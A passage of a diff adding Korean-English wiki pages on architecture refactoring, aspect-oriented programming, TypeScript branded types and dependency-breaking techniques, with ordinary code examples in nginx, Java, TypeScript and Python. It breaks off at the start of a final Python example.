|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full AD spec with C4/4+1/arc42/ADR patterns |
|
||||
+198
@@ -0,0 +1,198 @@
|
||||
---
|
||||
id: wiki-2026-0508-architecture-refactor
|
||||
title: Architecture Refactor
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [strangler-fig, big-bang-rewrite, modernization]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, refactor, strangler-fig, modernization]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: polyglot
|
||||
framework: strangler-fig
|
||||
---
|
||||
|
||||
# Architecture Refactor
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 incremental 의 always wins"**. 매 architecture refactor 의 default approach 의 Martin Fowler 의 Strangler Fig (2004) — 매 old system 의 around 의 new system 의 gradual 의 grow. 매 big-bang rewrite 의 historically failure rate >70% (Ousterhout, Brooks). 매 2026 의 typical pattern: 매 monolith → modular monolith → selective service extraction.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 refactor strategies
|
||||
- **Strangler Fig**: 매 facade 의 routing — 매 traffic 의 incrementally 의 new system 의 redirect.
|
||||
- **Branch by Abstraction**: 매 abstraction layer 의 introduce — 매 dual 의 implementation — 매 old 의 remove.
|
||||
- **Parallel Run**: 매 old + new 의 동시 실행 — 매 output 의 compare.
|
||||
- **Big Bang Rewrite**: 매 last resort — 매 only 매 system 의 small + scope 의 frozen 의 가능.
|
||||
|
||||
### 매 refactor 의 prerequisite
|
||||
- **Test coverage**: 매 characterization tests (Feathers) 의 minimum.
|
||||
- **Observability**: 매 metrics + traces 의 before/after diff.
|
||||
- **Feature flag**: 매 reversibility 의 prerequisite.
|
||||
- **ADR**: 매 decision rationale 의 documented.
|
||||
|
||||
### 매 응용
|
||||
1. Monolith → modular monolith — 매 module boundary 의 enforce (ArchUnit).
|
||||
2. Service extraction — 매 bounded context 의 따라.
|
||||
3. Database split — 매 most expensive — 매 last 의 do.
|
||||
4. Framework upgrade — 매 incremental migration.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Strangler Fig — Nginx routing facade
|
||||
```nginx
|
||||
upstream legacy { server legacy.internal:8080; }
|
||||
upstream new { server new.internal:8080; }
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
|
||||
# New endpoints — gradual rollout
|
||||
location /api/v2/orders { proxy_pass http://new; }
|
||||
location /api/v2/users { proxy_pass http://new; }
|
||||
|
||||
# Everything else still legacy
|
||||
location / { proxy_pass http://legacy; }
|
||||
}
|
||||
```
|
||||
|
||||
### Branch by Abstraction (Java)
|
||||
```java
|
||||
// Step 1 — extract interface
|
||||
interface PaymentGateway {
|
||||
Receipt charge(Order o);
|
||||
}
|
||||
|
||||
// Step 2 — wrap legacy
|
||||
class LegacyStripeGateway implements PaymentGateway { /* ... */ }
|
||||
|
||||
// Step 3 — new impl behind flag
|
||||
class AdyenGateway implements PaymentGateway { /* ... */ }
|
||||
|
||||
// Step 4 — feature-flag pick
|
||||
class GatewayFactory {
|
||||
PaymentGateway pick(String tenant) {
|
||||
return flags.isOn("adyen", tenant)
|
||||
? new AdyenGateway()
|
||||
: new LegacyStripeGateway();
|
||||
}
|
||||
}
|
||||
// Step 5 — once 100% rollout, delete LegacyStripeGateway
|
||||
```
|
||||
|
||||
### Parallel Run (shadow traffic)
|
||||
```ts
|
||||
async function chargeShadow(order: Order): Promise<Receipt> {
|
||||
const [primary, shadow] = await Promise.allSettled([
|
||||
legacy.charge(order),
|
||||
newImpl.charge(order) // never persists, just observes
|
||||
]);
|
||||
if (shadow.status === 'fulfilled' && primary.status === 'fulfilled') {
|
||||
diff.record('charge', primary.value, shadow.value);
|
||||
}
|
||||
return primary.status === 'fulfilled' ? primary.value : Promise.reject(primary.reason);
|
||||
}
|
||||
```
|
||||
|
||||
### Database Strangling — dual write + read switch
|
||||
```python
|
||||
# Phase 1: dual write
|
||||
def save_order(o: Order):
|
||||
legacy_db.insert(o)
|
||||
try:
|
||||
new_db.insert(o)
|
||||
except Exception as e:
|
||||
log.warn("shadow write failed", e=e)
|
||||
|
||||
# Phase 2: dual read + diff
|
||||
def get_order(id: str):
|
||||
a = legacy_db.get(id)
|
||||
b = new_db.get(id)
|
||||
if a != b: metrics.increment("order.read.diverge")
|
||||
return a # legacy still source of truth
|
||||
|
||||
# Phase 3: flip read source
|
||||
def get_order(id: str):
|
||||
return new_db.get(id)
|
||||
|
||||
# Phase 4: stop legacy write, decommission
|
||||
```
|
||||
|
||||
### Module extraction (modular monolith → service)
|
||||
```bash
|
||||
# 1. Codify module boundary first (ArchUnit)
|
||||
# 2. Replace direct calls with in-process interface
|
||||
# 3. Add feature flag: in-process vs HTTP/gRPC
|
||||
# 4. Deploy as separate process behind flag
|
||||
# 5. Remove in-process path
|
||||
```
|
||||
|
||||
### Characterization test (Feathers)
|
||||
```python
|
||||
import json, pytest
|
||||
|
||||
@pytest.mark.parametrize("fixture", load_fixtures("legacy_outputs/*.json"))
|
||||
def test_legacy_behavior_preserved(fixture):
|
||||
inputs = fixture["input"]
|
||||
expected = fixture["legacy_output"]
|
||||
actual = new_impl.run(**inputs)
|
||||
assert actual == expected, f"divergence: {fixture['id']}"
|
||||
```
|
||||
|
||||
### Refactor scoreboard (CI)
|
||||
```yaml
|
||||
# refactor-progress.yml — auto-generated dashboard
|
||||
metrics:
|
||||
- name: legacy-endpoints-remaining
|
||||
cmd: grep -r "@legacy" src/ | wc -l
|
||||
- name: new-coverage
|
||||
cmd: jacoco --module=new-impl
|
||||
- name: traffic-on-new
|
||||
promql: sum(rate(http_requests_total{service="new"}[5m]))
|
||||
/ sum(rate(http_requests_total[5m]))
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Strategy |
|
||||
|---|---|
|
||||
| Active legacy + traffic | Strangler Fig |
|
||||
| Library/abstraction swap | Branch by Abstraction |
|
||||
| Risk-critical (payment, billing) | Parallel Run |
|
||||
| DB schema change | Dual-write + flip read |
|
||||
| Tiny system, frozen scope | Big Bang (rare) |
|
||||
| Distributed monolith | Reverse first → modular monolith → extract |
|
||||
|
||||
**기본값**: Strangler Fig + feature flag + parallel-run on critical paths.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software Architecture]] · [[Refactoring_Best_Practices|Refactoring]]
|
||||
- 변형: [[Strangler-Fig]] · [[Branch-by-Abstraction]]
|
||||
- 응용: [[Modular-Monolith]] · [[Microservices]]
|
||||
- Adjacent: [[Architecture Erosion (아키텍처 침식)]] · [[Architectural-Constraint-Enforcement]] · [[Architecture Review (아키텍처 및 설계 리뷰)]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 legacy code → modern equivalent translation, 매 codemod plan generation, 매 ADR draft.
|
||||
**언제 X**: 매 production cutover decision — 매 human + traffic data 의 필수.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Big bang rewrite**: 매 70%+ failure rate — 매 last resort.
|
||||
- **Refactor without tests**: 매 silent regression 의 guarantee.
|
||||
- **No flag, no rollback**: 매 forward-only deploy — 매 incident magnification.
|
||||
- **Premature service extraction**: 매 distributed monolith 의 worst-of-both.
|
||||
- **Stop midway**: 매 두 system 의 forever maintain — 매 cost 의 doubled.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Fowler — *StranglerFigApplication*; Feathers — *Working Effectively with Legacy Code*; Newman — *Monolith to Microservices*).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Strangler Fig + Branch-by-Abstraction + parallel-run patterns |
|
||||
+224
@@ -0,0 +1,224 @@
|
||||
---
|
||||
id: wiki-2026-0508-aspect-oriented-programming-aop
|
||||
title: Aspect Oriented Programming (AOP)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [AOP, Aspect Programming, Cross-cutting Concerns]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, paradigm, spring, decorator]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: Java / TypeScript / Python
|
||||
framework: Spring AOP / AspectJ / NestJS
|
||||
---
|
||||
|
||||
# Aspect-Oriented Programming (AOP)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 cross-cutting concern을 separate aspect로 modularize."**. 1997년 Gregor Kiczales (Xerox PARC) 의 AspectJ 가 시초. 2026 현재 Spring AOP 6.x, NestJS interceptor, Python decorator 가 주류 — logging/transaction/security 같이 매 객체 가로지르는 logic을 매 한 곳에 모음.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 용어
|
||||
- **Aspect**: 매 cross-cutting concern 의 modular 단위 (e.g. `LoggingAspect`).
|
||||
- **Join Point**: 매 program execution 의 한 지점 (method call, field access).
|
||||
- **Pointcut**: 매 join point 의 selection expression.
|
||||
- **Advice**: 매 pointcut 매칭 시 실행할 code (`@Before`, `@After`, `@Around`).
|
||||
- **Weaving**: 매 aspect 와 base code 결합 — compile-time / load-time / runtime.
|
||||
|
||||
### 매 cross-cutting concerns
|
||||
- Logging / tracing
|
||||
- Transaction management
|
||||
- Security / authorization
|
||||
- Caching
|
||||
- Performance monitoring
|
||||
- Error handling / retry
|
||||
- Audit trail
|
||||
|
||||
### 매 응용
|
||||
1. Spring `@Transactional` — DB transaction 자동 commit/rollback.
|
||||
2. NestJS `@UseInterceptors` — request/response transform.
|
||||
3. Python `@functools.lru_cache` — pure caching aspect.
|
||||
4. OpenTelemetry auto-instrumentation — runtime byte-code weaving.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Spring AOP — @Around aspect
|
||||
```java
|
||||
@Aspect
|
||||
@Component
|
||||
public class LoggingAspect {
|
||||
|
||||
@Around("execution(* com.example.service.*.*(..))")
|
||||
public Object logExecutionTime(ProceedingJoinPoint pjp) throws Throwable {
|
||||
long start = System.currentTimeMillis();
|
||||
try {
|
||||
Object result = pjp.proceed();
|
||||
long elapsed = System.currentTimeMillis() - start;
|
||||
log.info("{} took {} ms", pjp.getSignature(), elapsed);
|
||||
return result;
|
||||
} catch (Throwable t) {
|
||||
log.error("{} threw {}", pjp.getSignature(), t.getMessage());
|
||||
throw t;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Spring — @Transactional declarative TX
|
||||
```java
|
||||
@Service
|
||||
public class OrderService {
|
||||
|
||||
@Transactional(rollbackFor = Exception.class, isolation = Isolation.READ_COMMITTED)
|
||||
public Order placeOrder(OrderRequest req) {
|
||||
Order order = orderRepo.save(new Order(req));
|
||||
inventoryRepo.decrement(req.getItems());
|
||||
// Any RuntimeException → automatic rollback via AOP proxy
|
||||
return order;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### NestJS — Interceptor (AOP-style)
|
||||
```typescript
|
||||
import { CallHandler, ExecutionContext, Injectable, NestInterceptor } from '@nestjs/common';
|
||||
import { Observable, tap } from 'rxjs';
|
||||
|
||||
@Injectable()
|
||||
export class TimingInterceptor implements NestInterceptor {
|
||||
intercept(ctx: ExecutionContext, next: CallHandler): Observable<unknown> {
|
||||
const start = Date.now();
|
||||
return next.handle().pipe(
|
||||
tap(() => console.log(`${ctx.getHandler().name} took ${Date.now() - start}ms`)),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@Controller('orders')
|
||||
@UseInterceptors(TimingInterceptor)
|
||||
export class OrdersController { /* ... */ }
|
||||
```
|
||||
|
||||
### Python — Decorator as aspect
|
||||
```python
|
||||
import functools, time, logging
|
||||
|
||||
def timed(func):
|
||||
@functools.wraps(func)
|
||||
def wrapper(*args, **kwargs):
|
||||
start = time.perf_counter()
|
||||
try:
|
||||
return func(*args, **kwargs)
|
||||
finally:
|
||||
elapsed = time.perf_counter() - start
|
||||
logging.info(f"{func.__name__} took {elapsed*1000:.1f}ms")
|
||||
return wrapper
|
||||
|
||||
@timed
|
||||
def expensive_calc(n: int) -> int:
|
||||
return sum(i * i for i in range(n))
|
||||
```
|
||||
|
||||
### Python — Class-based retry aspect
|
||||
```python
|
||||
def retry(times: int = 3, on: tuple = (Exception,)):
|
||||
def decorator(func):
|
||||
@functools.wraps(func)
|
||||
def wrapper(*args, **kwargs):
|
||||
last = None
|
||||
for attempt in range(times):
|
||||
try:
|
||||
return func(*args, **kwargs)
|
||||
except on as e:
|
||||
last = e
|
||||
time.sleep(2 ** attempt)
|
||||
raise last
|
||||
return wrapper
|
||||
return decorator
|
||||
|
||||
@retry(times=5, on=(httpx.HTTPError,))
|
||||
def fetch_remote(url: str) -> dict:
|
||||
return httpx.get(url).json()
|
||||
```
|
||||
|
||||
### AspectJ pointcut DSL
|
||||
```java
|
||||
@Pointcut("execution(public * com.example.repo.*.find*(..))")
|
||||
public void anyFinder() {}
|
||||
|
||||
@Pointcut("@annotation(com.example.Audited)")
|
||||
public void auditedMethod() {}
|
||||
|
||||
@Before("anyFinder() && auditedMethod()")
|
||||
public void audit(JoinPoint jp) {
|
||||
auditService.log(jp.getSignature().toShortString(), Instant.now());
|
||||
}
|
||||
```
|
||||
|
||||
### TypeScript — method decorator
|
||||
```typescript
|
||||
function Cached(ttlMs: number): MethodDecorator {
|
||||
const cache = new Map<string, { value: unknown; exp: number }>();
|
||||
return (_t, _k, desc: PropertyDescriptor) => {
|
||||
const original = desc.value;
|
||||
desc.value = function (...args: unknown[]) {
|
||||
const key = JSON.stringify(args);
|
||||
const entry = cache.get(key);
|
||||
if (entry && entry.exp > Date.now()) return entry.value;
|
||||
const value = original.apply(this, args);
|
||||
cache.set(key, { value, exp: Date.now() + ttlMs });
|
||||
return value;
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
class Pricing {
|
||||
@Cached(60_000)
|
||||
fetchRate(currency: string) { /* ... */ }
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Java enterprise, declarative TX | Spring AOP (proxy-based) |
|
||||
| 매 method 매칭 + field access weaving | AspectJ (compile/load-time) |
|
||||
| Node.js HTTP layer | NestJS Interceptor / Guard |
|
||||
| Python script / function-level | Decorator |
|
||||
| Cross-language tracing | OpenTelemetry auto-instrumentation |
|
||||
|
||||
**기본값**: framework-native (Spring AOP / NestJS interceptor / decorator). 매 raw AspectJ 는 매 매우 specific 한 경우만.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Object-Oriented-Programming]] · [[Software-Architecture]]
|
||||
- 변형: [[Middleware]]
|
||||
- 응용: [[Spring-Framework]] · [[NestJS]] · [[OpenTelemetry]]
|
||||
- Adjacent: [[Dependency_Injection_(DI)|Dependency-Injection]] · [[Cross-Cutting-Concerns]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: cross-cutting concern (logging/TX/security/caching) 이 매 여러 service 에 반복, declarative style 선호, framework 가 AOP 지원.
|
||||
**언제 X**: 매 한두 곳만 쓰는 logic (직접 호출이 명확), 매 magic 회피 culture, 매 debug 어려움 감수 못할 때.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Aspect 안 business logic**: 매 aspect 는 매 cross-cutting 만 — 매 domain rule 넣지 X.
|
||||
- **너무 broad pointcut**: `execution(* *.*(..))` — 매 unintended weaving.
|
||||
- **Self-invocation 의 proxy bypass**: 매 같은 class 안 method call 은 매 proxy 통과 안 함 (Spring).
|
||||
- **Order 의존**: 매 multiple aspect 매 ordering 명시 X 면 매 비결정적.
|
||||
- **Aspect explosion**: 매 100+ aspect → 매 control flow 추적 불가.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Spring Framework 6.x docs, AspectJ programming guide, NestJS docs).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — AOP full content with Spring/NestJS/Python patterns |
|
||||
@@ -0,0 +1,186 @@
|
||||
---
|
||||
id: wiki-2026-0508-branded-types
|
||||
title: Branded Types
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Branded Types, Nominal Types, Opaque Types, Tagged Types]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [typescript, type-system, nominal-typing, domain-modeling]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: typescript-5.x,zod,effect-ts
|
||||
---
|
||||
|
||||
# Branded Types
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 structural type 의 nominal 의 emulate — 매 `string` 두 개 의 distinguish 의 enforce"**. TypeScript 의 structural typing 의 long-standing pain (UserId vs OrderId · Email vs string) 의 solve, 2026 의 Effect-TS Brand · Zod brand · Type-Fest Tagged 의 ergonomic API 의 mainstream.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 problem
|
||||
- TS structural: 매 `string` 의 모든 `string` 의 assignable.
|
||||
- `function sendEmail(userId: string, email: string)` — 매 swap 의 type check pass.
|
||||
- 매 nominal hint 의 require — but TS 의 native 의 no.
|
||||
|
||||
### 매 mechanism
|
||||
- Intersection 의 phantom property: `string & { __brand: "UserId" }`.
|
||||
- 매 runtime 의 plain string — 매 zero cost.
|
||||
- Constructor function 의 cast — 매 single point 의 validate.
|
||||
|
||||
### 매 응용
|
||||
1. Domain ID (UserId · OrderId · ProductId).
|
||||
2. Validated string (Email · URL · UUID · NonEmptyString).
|
||||
3. Numeric unit (Meters · Seconds · USD · Cents).
|
||||
4. Sanitized input (HtmlSafeString · SqlEscapedString).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Vanilla TS brand
|
||||
```typescript
|
||||
type Brand<T, B> = T & { readonly __brand: B };
|
||||
|
||||
type UserId = Brand<string, "UserId">;
|
||||
type OrderId = Brand<string, "OrderId">;
|
||||
|
||||
const UserId = (s: string): UserId => s as UserId;
|
||||
const OrderId = (s: string): OrderId => s as OrderId;
|
||||
|
||||
function getUser(id: UserId) { /* ... */ }
|
||||
|
||||
const u = UserId("u-123");
|
||||
const o = OrderId("o-456");
|
||||
|
||||
getUser(u); // OK
|
||||
getUser(o); // ❌ Type error — 매 nominal 의 distinguish
|
||||
getUser("u-123"); // ❌ raw string 의 reject
|
||||
```
|
||||
|
||||
### Branded with smart constructor (validate + brand)
|
||||
```typescript
|
||||
type Email = Brand<string, "Email">;
|
||||
|
||||
function Email(s: string): Email {
|
||||
if (!/^[^@\s]+@[^@\s]+\.[^@\s]+$/.test(s)) {
|
||||
throw new Error(`invalid email: ${s}`);
|
||||
}
|
||||
return s as Email;
|
||||
}
|
||||
|
||||
// safer Result variant
|
||||
function tryEmail(s: string): { ok: true; value: Email } | { ok: false; error: string } {
|
||||
return /^[^@\s]+@[^@\s]+\.[^@\s]+$/.test(s)
|
||||
? { ok: true, value: s as Email }
|
||||
: { ok: false, error: "invalid email" };
|
||||
}
|
||||
```
|
||||
|
||||
### Zod brand (runtime + type)
|
||||
```typescript
|
||||
import { z } from "zod";
|
||||
|
||||
const UserIdSchema = z.string().uuid().brand<"UserId">();
|
||||
type UserId = z.infer<typeof UserIdSchema>;
|
||||
|
||||
const id = UserIdSchema.parse("550e8400-e29b-41d4-a716-446655440000");
|
||||
// id is branded UserId — 매 raw uuid string 의 reject elsewhere
|
||||
```
|
||||
|
||||
### Effect-TS Brand
|
||||
```typescript
|
||||
import { Brand } from "effect";
|
||||
|
||||
type USD = number & Brand.Brand<"USD">;
|
||||
const USD = Brand.refined<USD>(
|
||||
(n) => Number.isInteger(n) && n >= 0,
|
||||
(n) => Brand.error(`expected positive integer cents, got ${n}`),
|
||||
);
|
||||
|
||||
const price = USD(1999); // OK
|
||||
const bad = USD(-5); // BrandErrors
|
||||
```
|
||||
|
||||
### Numeric units (compile-time dimensional)
|
||||
```typescript
|
||||
type Meters = Brand<number, "Meters">;
|
||||
type Seconds = Brand<number, "Seconds">;
|
||||
type MPS = Brand<number, "MetersPerSecond">;
|
||||
|
||||
const m = (n: number) => n as Meters;
|
||||
const s = (n: number) => n as Seconds;
|
||||
|
||||
function speed(d: Meters, t: Seconds): MPS {
|
||||
return (d / t) as MPS;
|
||||
}
|
||||
|
||||
speed(m(100), s(9.58)); // OK
|
||||
speed(s(9.58), m(100)); // ❌ swapped
|
||||
```
|
||||
|
||||
### Type-Fest Tagged (lighter syntax)
|
||||
```typescript
|
||||
import type { Tagged } from "type-fest";
|
||||
|
||||
type Email = Tagged<string, "Email">;
|
||||
type UserId = Tagged<string, "UserId">;
|
||||
```
|
||||
|
||||
### Phantom param (alternate encoding)
|
||||
```typescript
|
||||
declare const brand: unique symbol;
|
||||
type Brand<T, K> = T & { readonly [brand]: K };
|
||||
```
|
||||
|
||||
### Runtime parsing layer (input boundary)
|
||||
```typescript
|
||||
// API boundary — single point of validation
|
||||
function handleRequest(raw: { userId: string; email: string }) {
|
||||
const userId = UserId(raw.userId); // brand at boundary
|
||||
const email = Email(raw.email); // validate + brand
|
||||
return processOrder(userId, email); // internal: branded everywhere
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Encoding |
|
||||
|---|---|
|
||||
| Lightweight ID 의 distinguish | Vanilla `__brand` |
|
||||
| Runtime validation + brand | Zod brand · Effect Brand |
|
||||
| Functional pipeline · refinement | Effect-TS Brand |
|
||||
| Library ergonomics | Type-Fest `Tagged` |
|
||||
| Numeric unit · dimensional | Brand<number, "Unit"> |
|
||||
|
||||
**기본값**: domain ID 의 vanilla brand, validated value 의 Zod, numeric/refinement 의 Effect Brand.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[TypeScript Type System]]
|
||||
- 변형: [[Nominal-Typing-in-TypeScript|Nominal Typing]] · [[Opaque Types]]
|
||||
- 응용: [[Parse Don't Validate]]
|
||||
- Adjacent: [[Ambient_Declarations]] · [[Schema Validation]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: domain ID 의 brand 의 generate, smart constructor + validator 의 draft, Zod schema 의 brand 의 add.
|
||||
**언제 X**: 매 brand 의 over-applying — 매 internal helper 의 brand 의 X · 매 boundary 의 only.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Brand 의 everywhere**: function signature 의 noise 의 explode — 매 domain primitive 만.
|
||||
- **Cast 의 sprinkled**: 매 single constructor 의 collapse — validation 의 single source.
|
||||
- **Brand 의 leak through serialization**: JSON.parse 의 raw string 의 return — boundary parse 의 require.
|
||||
- **Multiple brand 의 same value**: `Brand<string, "A"> & Brand<string, "B">` — 매 union 의 use 의 X · 매 새 brand 의 prefer.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (TypeScript handbook, Effect-TS docs, Zod 4 docs, Type-Fest Tagged docs, "Parse Don't Validate" Alexis King).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — vanilla + Zod + Effect-TS + Type-Fest variants |
|
||||
+258
@@ -0,0 +1,258 @@
|
||||
---
|
||||
id: wiki-2026-0508-breaking-dependencies
|
||||
title: Breaking Dependencies
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Decoupling, Dependency Breaking, Refactoring Legacy]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [refactoring, architecture, legacy-code, testing]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: Java / TypeScript / Python
|
||||
framework: language-agnostic
|
||||
---
|
||||
|
||||
# Breaking Dependencies
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 untestable code 를 매 test 가능하게 만드는 첫 단계 = 매 hard dependency 를 매 break."**. Michael Feathers 의 *Working Effectively with Legacy Code* (2004) 의 24 가지 dependency-breaking technique 가 매 canonical reference. 2026 현재 modern DI / 매 hexagonal architecture 가 매 prevention layer, but 매 legacy 에는 여전히 매 Sprout Method / Extract Interface / Adapter 가 핵심.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 dependency types
|
||||
- **Construction dependency**: 매 `new SomeService()` hardcoded.
|
||||
- **Static dependency**: 매 `Date.now()`, `Math.random()`, `Singleton.getInstance()`.
|
||||
- **Hidden dependency**: 매 method 안에서 file / DB / network 직접 호출.
|
||||
- **Temporal coupling**: 매 method A → B 순서 강요.
|
||||
- **Inheritance dependency**: 매 base class 가 매 hard-to-test 행위 가짐.
|
||||
|
||||
### 매 Feathers 의 핵심 24 technique 중 top 8
|
||||
1. **Sprout Method**: 매 new behavior 를 매 새 method 로 분리해 매 test 가능하게.
|
||||
2. **Sprout Class**: 매 new behavior 를 매 new class 로.
|
||||
3. **Extract Interface**: 매 concrete dep → 매 interface → mock.
|
||||
4. **Extract and Override Call**: 매 hard call 을 매 protected method 로 → subclass 에서 override.
|
||||
5. **Subclass and Override Method**: 매 testing subclass.
|
||||
6. **Adapt Parameter**: 매 untestable arg → 매 wrapper interface.
|
||||
7. **Break Out Method Object**: 매 거대 method → 매 클래스.
|
||||
8. **Introduce Instance Delegator**: 매 static → 매 instance method 로.
|
||||
|
||||
### 매 응용
|
||||
1. Legacy Java/C# enterprise codebase 의 unit test 도입.
|
||||
2. Module 간 cyclic dependency 끊기.
|
||||
3. 매 third-party SDK 의 hard wiring 제거.
|
||||
4. Microservice extraction 전 prep.
|
||||
5. 매 monolith 의 plugin 화.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Extract Interface (Java)
|
||||
```java
|
||||
// BEFORE — hard wired
|
||||
public class OrderService {
|
||||
public Receipt placeOrder(Order o) {
|
||||
EmailSender sender = new EmailSender(); // hard dep
|
||||
sender.send(o.customerEmail, "...");
|
||||
return Receipt.from(o);
|
||||
}
|
||||
}
|
||||
|
||||
// AFTER — Extract Interface + DI
|
||||
public interface Notifier {
|
||||
void send(String to, String body);
|
||||
}
|
||||
|
||||
public class EmailSender implements Notifier { /* impl */ }
|
||||
|
||||
public class OrderService {
|
||||
private final Notifier notifier;
|
||||
public OrderService(Notifier notifier) { this.notifier = notifier; }
|
||||
public Receipt placeOrder(Order o) {
|
||||
notifier.send(o.customerEmail, "...");
|
||||
return Receipt.from(o);
|
||||
}
|
||||
}
|
||||
|
||||
// Test
|
||||
@Test void placesOrderAndNotifies() {
|
||||
var fake = mock(Notifier.class);
|
||||
var svc = new OrderService(fake);
|
||||
svc.placeOrder(testOrder());
|
||||
verify(fake).send(eq("a@b.com"), anyString());
|
||||
}
|
||||
```
|
||||
|
||||
### Sprout Method (TypeScript)
|
||||
```ts
|
||||
// BEFORE — 매 huge method, 매 add new logic 못 testable
|
||||
class Invoice {
|
||||
process(): void {
|
||||
// 200 lines 의 legacy
|
||||
// 매 new logic 추가하면 매 테스트 X
|
||||
}
|
||||
}
|
||||
|
||||
// AFTER — sprout 로 새 행동만 분리
|
||||
class Invoice {
|
||||
process(): void {
|
||||
// 200 lines 의 legacy (그대로)
|
||||
this.applyLoyaltyDiscount(); // 매 sprouted
|
||||
}
|
||||
|
||||
applyLoyaltyDiscount(): number { // 매 testable in isolation
|
||||
if (this.customer.tier === 'gold') return this.total * 0.1;
|
||||
if (this.customer.tier === 'silver') return this.total * 0.05;
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Extract and Override Call (Python)
|
||||
```python
|
||||
# BEFORE
|
||||
class Job:
|
||||
def run(self):
|
||||
now = datetime.utcnow() # 매 hard
|
||||
if now.weekday() >= 5: return
|
||||
self.do_work()
|
||||
|
||||
# AFTER
|
||||
class Job:
|
||||
def run(self):
|
||||
if self._now().weekday() >= 5: return
|
||||
self.do_work()
|
||||
|
||||
def _now(self) -> datetime: # 매 protected — override in test
|
||||
return datetime.utcnow()
|
||||
|
||||
class TestJob(Job):
|
||||
def __init__(self, fixed_dt): self.fixed_dt = fixed_dt
|
||||
def _now(self): return self.fixed_dt
|
||||
|
||||
# Test
|
||||
def test_skips_weekend():
|
||||
j = TestJob(datetime(2026, 5, 9)) # 매 Saturday
|
||||
j.do_work = MagicMock()
|
||||
j.run()
|
||||
j.do_work.assert_not_called()
|
||||
```
|
||||
|
||||
### Adapt Parameter (Java)
|
||||
```java
|
||||
// BEFORE — HttpServletRequest hard to construct in test
|
||||
public Result handle(HttpServletRequest req) {
|
||||
String userId = req.getHeader("X-User-Id");
|
||||
return repo.find(userId);
|
||||
}
|
||||
|
||||
// AFTER — adapter interface
|
||||
public interface RequestAdapter {
|
||||
String header(String name);
|
||||
}
|
||||
|
||||
public Result handle(RequestAdapter req) {
|
||||
return repo.find(req.header("X-User-Id"));
|
||||
}
|
||||
|
||||
// Production wraps; test = trivial map
|
||||
class ServletRequestAdapter implements RequestAdapter {
|
||||
private final HttpServletRequest delegate;
|
||||
public String header(String n) { return delegate.getHeader(n); }
|
||||
}
|
||||
```
|
||||
|
||||
### Subclass and Override (Python — break DB)
|
||||
```python
|
||||
class ReportGenerator:
|
||||
